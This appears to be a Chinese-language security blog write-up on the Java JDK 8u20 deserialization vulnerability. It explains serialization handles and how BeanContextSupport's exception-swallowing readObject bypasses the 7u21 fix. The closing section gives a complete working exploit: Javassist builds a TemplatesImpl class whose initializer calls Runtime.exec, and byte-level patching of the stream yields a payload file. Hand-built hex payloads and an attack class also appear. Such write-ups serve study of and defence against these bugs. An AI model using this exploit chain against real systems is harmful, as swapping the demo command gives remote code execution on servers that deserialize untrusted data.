10
11
12
13
14
15
16
17
// 改之前
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

// 改之后
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

注意AnnotationInvocationHandler 这个对象是先被成功还原,然后再抛出的异常。

readObject & defaultReadObject

这里简单提一下这两个序列化流程中的重点函数:

  • defaultReadObject

    用来执行默认的反序列化流程。简单来说就是将非静态、非transient修饰的代码进行反序列化

  • readObject

    如果对象自己实现了readObject方法,那么就会执行对象自身的readObject方法。

参考这篇

根据 oracle 官方定义的 Java 中可序列化对象流的原则:

如果一个类中定义了readObject方法,那么这个方法将会取代默认序列化机制中的方法读取对象的状态,

可选的信息可依靠这些方法读取,而必选数据部分要依赖defaultReadObject方法读取;

我们看AnnotationInvocationHandler的readObject方法。

image-20210715163322257

第一行就调用了defaultReadObject方法,该方法主要就是从字节流中读取对象的字段值,它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称类型信息。这些值会通过匹配当前类的字段名称的方式来赋予,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值。

如果这个值出现在字节流中,但是并不属于对象,则抛弃该值

如果这个值是一个对象的话,那么会为这个值分配一个Handle

在利用defaultReadObject()还原了一部分对象的值后,最近进行AnnotationType.getInstance(type)判断,如果传入的 type 不是AnnotationType类型,那么抛出异常。

也就是说,实际上在jdk7u21漏洞中,我们传入的AnnotationInvocationHandler对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们把恶意的种子种到了运行对象中,但是因为出现异常导致该种子没法生长,只要我们解决了这个异常,那么就可以重新达到我们的目的。

这也就是jdk8u20漏洞的原理——绕过异常。

有趣的Try & Catch & Throw

总结panda师傅的实验:

假设a方法有try-catch-throw,b方法只有try-catch: 以下 ->表示调用

分类讨论:

  • 如果a ->b,如果b中出现异常,由于没有throw,并不会影响a后续的执行流程。
  • 如果b->a,如果a中出现异常,a会将异常throw给上一级的b,被b方法catch住,b方法中断,b后续就不会再继续执行了。

什么是反序列化句柄Handle

Handle值是每一个对象自身的一个字段。

在序列化数据中,存在的对象有null、new objects、classes、arrays、strings、back references等,这些对象在序列化结构中都有对应的描述信息,并且每一个写入字节流的对象都会被赋予引用Handle,并且这个引用Handle可以反向引用该对象(使用TC_REFERENCE结构,引用前面handle的值),引用Handle会从0x7E0000开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。

如果你连续两次序列化同一个对象,那么第二次序列化写入的就是第一个对象的handle。

可以发现,因为我们两次 writeObject 写入的其实是同一个对象,所以 Date 对象的数据只在第一次 writeObject 的时候被真实写入了。而第二次 writeObject 时,写入的是一个 TC_REFERENCE 的结构,随后跟了一个4 字节的 Int 值,值为 0x00 7e 00 01。这是什么意思呢?意思就是第二个对象引用的其实是 handle 为 0x00 7e 00 01 的那个对象。

image-20210521192832251

在反序列化进行读取的时候,因为之前进行了两次 writeObject,所以为了读取,也应该进行两次 readObject:

  1. 第一次 readObject 将会读取 TC_OBJECT 表示的第 1 个对象,发现是 Date 类型的对象,然后从流中读取此对象成员的值并还原。并为此 Date 对象分配一个值为 0x00 7e 00 01 的 handle。
  2. 第二个 readObject 会读取到 TC_REFERENCE,说明是一个引用,引用的是刚才还原出来的那个 Date 对象,此时将直接返回之前那个 Date 对象的引用。

反序列化流程梳理这篇,在最开始的switch-case时候,如果是一个TC_REFERENCE,调用的是readHandle:

1
2
case TC_REFERENCE:
return readHandle(unshared);

跟进去看readHandle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* Reads in object handle, sets passHandle to the read handle, and returns
* object associated with the handle.
*/
private Object readHandle(boolean unshared) throws IOException {
if (bin.readByte() != TC_REFERENCE) {
throw new InternalError();
}
passHandle = bin.readInt() - baseWireHandle;
if (passHandle < 0 || passHandle >= handles.size()) {
throw new StreamCorruptedException(
String.format("invalid handle value: %08X", passHandle +
baseWireHandle));
}
if (unshared) {
// REMIND: what type of exception to throw here?
throw new InvalidObjectException(
"cannot read back reference as unshared");
}

Object obj = handles.lookupObject(passHandle);
if (obj == unsharedMarker) {
// REMIND: what type of exception to throw here?
throw new InvalidObjectException(
"cannot read back reference to unshared object");
}
filterCheck(null, -1); // just a check for number of references, depth, no class
return obj;
}

这方法首先读取TC_REFERENCE字段,接下来把读取的Handle的值传递个passHandle变量

来到Object obj = handles.lookupObject(passHandle); 跟进去看源码:

1
2
3
4
5
6
7
8
9
10
/**
* Looks up and returns object associated with the given handle.
* Returns null if the given handle is NULL_HANDLE, or if it has an
* associated ClassNotFoundException.
*/
Object lookupObject(int handle) {
return (handle != NULL_HANDLE &&
status[handle] != STATUS_EXCEPTION) ?
entries[handle] : null;
}

lookupObject判断如果引用的handle不为空、并且没有关联的ClassNotFoundExceptionstatus[handle] != STATUS_EXCEPTION),那么就返回给定handle的引用对象。

所以这里的逻辑就是,一旦在反序列化过程中发现有TC_REFERENCE的时候,会尝试还原引用的handle对象

如何插入数据?

思考一个问题,如果我们在序列化的过程中,再向流内写东西,会发生什么?

做个实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Twice implements Serializable {
private static final long serialVersionUID = 100L;
public static int num = 0;

private void writeObject(ObjectOutputStream oos)throws Exception {
oos.defaultWriteObject();
oos.writeObject("ORANGE");
oos.writeUTF("This is a sentence!");
}

public static void main(String[] args) throws Exception {
Twice t = new Twice();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("twice1.ser"));
oos.writeObject(t);
oos.close();
}
}

看一下twice2.ser:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ java -jar SerializationDumper.jar -r twice1.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - com.fxc.serial.Twice - 0x636f6d2e6678632e73657269616c2e5477696365
serialVersionUID - 0x00 00 00 00 00 00 00 64
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.fxc.serial.Twice
values
objectAnnotation
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 6 - 0x00 06
Value - ORANGE - 0x4f52414e4745
TC_BLOCKDATA - 0x77
Length - 21 - 0x15
Contents - 0x00135468697320697320612073656e74656e636521
TC_ENDBLOCKDATA - 0x78

可以发现:

  • 首先classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE有注明,对象有实现writeObject方法
  • 其次在classdata下面出现了objectAnnotation字段,两个对象
    • 一个是我们写入的String对象“ORANGE”
    • 第二个是一个BlockData “This is a sentence!”

TC_ENDBLOCKDATA标志着对象结束

现在我们当然想在writeObject的时候就插入恶意数据

简单粗暴,一切都是二进制,我们直接手动写入一段objectAnnotation就可以了

先看一个小例子,复盘一下panda师傅的实验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class AnnotationInvocationHandler implements Serializable {
private static final long serialVersionUID = 10L;
private int zero;
public AnnotationInvocationHandler(int zero) {
this.zero = zero;
}
public void exec(String cmd) throws IOException {
Process shell = Runtime.getRuntime().exec(cmd);
}
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
if(this.zero==0){
try{
double result = 1/this.zero;
}catch (Exception e) {
throw new Exception("Hack !!!");
}
}else{
throw new Exception("your number is error!!!");
}
}
}
1
2
3
4
5
6
7
8
9
10
11
public class BeanContextSupport implements Serializable {
private static final long serialVersionUID = 20L;
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
return;
}
}
}

两个类:A有throw,B没有throw

如果我们反序列化A,肯定会报错。

因为A的readObject首先会执行input.defaultReadObject(),这句话其实的意思就是从序列化流里面取出一个对象,然后执行他的默认序列化,就是给字段赋值。

image-20210717164640363

这里this其实就是AnnotationInvocationHandler对象了,当我们执行完input.defaultReadObject的时候,其实zero字段已经被赋值为0了。

所以会进入if,除数为0,引发异常,但是我们的AnnotationInvocationHandler对象已经序列化成功了

我们看一下序列化好的payload1文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 49 - 0x00 31
Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 0a
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Int - I - 0x49
fieldName
Length - 4 - 0x00 04
Value - zero - 0x7a65726f
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.fxc.bautwentycase.AnnotationInvocationHandler
values
zero
(int)0 - 0x00 00 00 00

我们要知道为什么7u21修复之后就失效了?

是因为在catch块中,修复前没有throw,修复之后多了throw!!!!

也就是说,修复之后,异常被throw,进程被终止掉,我们的反序列化对象也被销毁掉,导致反序列化失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 改之前
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

// 改之后
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

我们希望的是就算有异常,不要有throw,catch就好了,这样可以保证我们的反序列化对象还是存在的。

所以来到上一个小实验,如果我们希望绕过if(this.zero==0){这个判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class AnnotationInvocationHandler implements Serializable {
private static final long serialVersionUID = 10L;
private int zero;
public AnnotationInvocationHandler(int zero) {
this.zero = zero;
}
public void exec(String cmd) throws IOException {
Process shell = Runtime.getRuntime().exec(cmd);
}
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
if(this.zero==0){
try{
double result = 1/this.zero;
}catch (Exception e) {
throw new Exception("Hack !!!");
}
}else{
throw new Exception("your number is error!!!");
}
}
}

现在换一个思路,A类的readObject一定会throw一个异常,我们能做的就是希望这个exception不要影响我们对象的序列化进程。

想到之前的分析:

我们可以在A的throw外面再套一个try-catch

也就是说,你A可以随便throw Exception,我只要外面catch住就可以了,进程不受影响。

这也是为什么B类存在的原因。

重点看B:

1
2
3
4
5
6
7
8
9
10
11
public class BeanContextSupport implements Serializable {
private static final long serialVersionUID = 20L;
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
return;
}
}
}

B的特点就是在本身的readObject里面又调用了下一个流中对象的readObject

梳理一下,我们现在需要的是==把A序列化好的hex插入到B中==

这样B在反序列化的时候:

  • input.defaultReadObject(); 反序列化出来的是B自身对象
  • input.readObject反序列化出来的就是A的对象,会报错,但是会被B catch 住,==不影响反序列化对象在内存中的存在==

所以A的序列化文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 49 - 0x00 31
Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 0a
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Int - I - 0x49
fieldName
Length - 4 - 0x00 04
Value - zero - 0x7a65726f
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.fxc.bautwentycase.AnnotationInvocationHandler
values
zero
(int)0 - 0x00 00 00 00

B的序列化文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 40 - 0x00 28
Value - com.fxc.bautwentycase.BeanContextSupport - 0x636f6d2e6678632e6261757477656e7479636173652e4265616e436f6e74657874537570706f7274
serialVersionUID - 0x00 00 00 00 00 00 00 14
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.fxc.bautwentycase.BeanContextSupport
values

再重复一遍:==A插入到B中==

插入到哪里?自然是objectAnnotation中了

前面我省略了,重点看插入后的classdata部分,最终版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 40 - 0x00 28
Value - com.fxc.bautwentycase.BeanContextSupport - 0x636f6d2e6678632e6261757477656e7479636173652e4265616e436f6e74657874537570706f7274
serialVersionUID - 0x00 00 00 00 00 00 00 14
newHandle 0x00 7e 00 00 //类对象
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE //修改
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01 // 实际对象
classdata
com.panda.sec.BeanContextSupport
values
objectAnnotation // 从这里开始
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 49 - 0x00 31
Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 0a
newHandle 0x00 7e 00 02 // 记得按顺序修改
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Int - I - 0x49
fieldName
Length - 4 - 0x00 04
Value - zero - 0x7a65726f
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
com.fxc.bautwentycase.AnnotationInvocationHandler
values
zero
(int)0 - 0x00 00 00 00
TC_ENDBLOCKDATA - 0x78 // 标志着对象结束
TC_REFERENCE - 0x71
Handle - 8257539 - 0x00 7e 00 03 //记得加最后一个句柄

8257539怎么来的?

当然是逆SerializationDumper看源码抄的\doge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void num(){
byte b1 = 0 ;
byte b2 = 126;
byte b3 = 0;
byte b4 = 3;
int handle = (
((b1 << 24) & 0xff000000) +
((b2 << 16) & 0xff0000) +
((b3 << 8) & 0xff00) +
((b4 ) & 0xff)
);
System.out.println("Handle - " + handle + " - 0x" + byteToHex(b1) + " " + byteToHex(b2) + " " + byteToHex(b3) + " " + byteToHex(b4));

}

我们的payload梳理一下就是这个:

1
2
3
4
5
6
7
8
9
aced 0005 7372 0028 636f 6d2e 6678 632e
6261 7574 7765 6e74 7963 6173 652e 4265
616e 436f 6e74 6578 7453 7570 706f 7274
0000 0000 0000 0014 0300 0078 7073 7200
3163 6f6d 2e66 7863 2e62 6175 7477 656e
7479 6361 7365 2e41 6e6e 6f74 6174 696f
6e49 6e76 6f63 6174 696f 6e48 616e 646c
6572 0000 0000 0000 000a 0200 0149 0004
7a65 726f 7870 0000 0000 7871 007e 0003

攻击一下:

1
2
3
4
5
6
7
8
9
10
11
public class Attack {
public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
// 第一层
System.out.println(ois.readObject().toString());
AnnotationInvocationHandler a = (AnnotationInvocationHandler) ois.readObject();
// 第二层
System.out.println(a.toString());
a.exec("open /Applications/Calculator.app");
}
}
image-20210717183158101

并且可以发现:[B(A)]

我们把A塞进了B之中,所以第一个反序列化出来的是B对象,第二个反序列化出来的是A对象。

绕过

经过这篇的分析:

当我们序列化一个对象的时候,每次在写入序列化对象的时候,都会调用handles.lookup方法来判断该对象是否已经写入了,如果已经写入了,那么就会调用writeHandle(h)来写入引用类型标识和handle引用值0x7e0000+handle

在之前的7u21中

序列化顺序:HashSet.writeObject -> AnnotationInvocationHandler.defaultWriteFields

反序列化顺序:HashSet.readObject -> AnnotationInvocationHandler.readObject

但是在8u20中,AnnotationInvocationHandler.readObject限制了this.type必须是注解类型才可以。

如果不是的话,会抛出异常。

这个异常如果在反序列化过程当中被抛出,外层的HashSet也并没有catch处理,所以会报错。

所以我们需要找到一个类,除了最基本的序列化条件,还需要满足:

  • 重写了readObject方法
  • 在自身的readObject方法中,还存在readObject方法的调用,并且对第二次的readObject方法存在异常的catch。

JRE8u20 中利用到了名为 BeanContextSupport 类。

这个类满足以上条件,负责来帮我们绕过的。

看一下BeanContextSupport的readObject源码:

image-20210521194016263

进入readChildren方法:

image-20210521194127997

发现这里读去了流中的下一个对象,并且出现异常仅仅是catch,并没有throw,符合构造条件。

在执行ois.readObject()时,这里try-catch了,但是没有把异常抛出来,程序会接着执行。

如果这里可以把AnnotationInvocationHandler对象在BeanContextSupport类第二次writeObject的时候写入,这样反序列化时,即使AnnotationInvocationHandler对象 this.type的值为Templates类型也不会报错。

反序列化还有两点就是:

1.反序列化时类中没有这个成员,依然会对这个成员进行反序列化操作,但是之后会抛弃掉这个成员。

2.每一个新的对象都会分配一个newHandle的值,newHandle生成规则是从0x7e0000开始递增,如果后面出现相同的类型则会使用TC_REFERENCE结构,引用前面handle的值。

在之前的反序列化流程分析中我们知道:

在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle。

关联

我们在7u21里面用的是LinkedHashSet作为反序列化的source类,我们现在希望有一个可以触发BeanContextSupport的readObject方法。

所以可以在LinkedHashSet内部生成一个BeanContextSupport类型的字段,这样就可以和7u21一样触发字段readObject方法了。

因为在反序列化流程中,都是先还原对象中字段的值,然后才是objectAnnotation的内容。所以放在这个场景里就是:

  1. 还原一个LinkedHashSet

  2. 还原这个LinkedHashSet中字段的值

  3. 如果这个LinkedHashSet中某一个字段是BeanContextSupport类型,那么就会触发BeanContextSupport.readObject

  4. 这个BeanContextSupport类型的字段本身还有一个字段是AnnotationInvocationHandler类型,所以就又会去触发AnnotationInvocationHandler.readObject

构造可以参考feihong师傅的payload,膜了膜了。

最终PoC

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
public class Exploit {
public static void main(String[] args) throws Exception {
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();

//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);
//_auxClasses为空
Field _auxClasses = TemplatesImpl.class.getDeclaredField("_auxClasses");
_auxClasses.setAccessible(true);
_auxClasses.set(tmpl, null);
//_auxClasses为空
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(tmpl, TransformerFactoryImpl.class.newInstance());

//整个map,容量为2
Map map = new HashMap(2);
String magicStr = "f5a5a608";
// 占位
map.put(magicStr, "foo");

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(Override.class, map);

Field type = clazz.getDeclaredField("type");
type.setAccessible(true);
type.set(invocationHandler,Templates.class);

Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);

//替换为真正的
map.put(magicStr, tmpl);

LinkedHashSet set = new LinkedHashSet();

// 将serializable属性修改为0 为了进入readChildren方法
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);

//修改bcs父类的beanContextChildPeer属性设置为bcs自己
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);


set.add(bcs); // 先加入BeanContextSupport bcs

//开始写序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);

oos.writeObject(set);
oos.writeObject(invocationHandler);
oos.writeObject(tmpl);
oos.writeObject(proxy);
oos.close();

byte[] bytes = baous.toByteArray();
System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] = 3; //修改hashset的长度(元素个数)

//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}


//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] = 1;
break;
}
}


/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}

/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}

//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i = i + 58;
bytes[i] = 3;
break;
}
}

//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes = Util.addAtLast(bytes, (byte) 0x78);

//payload序列化写入文件,模拟网络传输
FileOutputStream fous = new FileOutputStream(System.getProperty("user.dir")+"/src/main/resources/Payload_jdk8u20.ser");
fous.write(bytes);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/Payload_jdk8u20.ser"));
//服务端反序列化,触发漏洞
ois.readObject();
ois.close();

}
}

参考

lalajun/高级利用/lazymap/浅析Java序列化和反序列化/

javassist/B4llo0n/anquanke/aliyun/平安/seebug

wh1t3p1g/6&7/b1ngz/7u21/8u20/序列化规范/8u20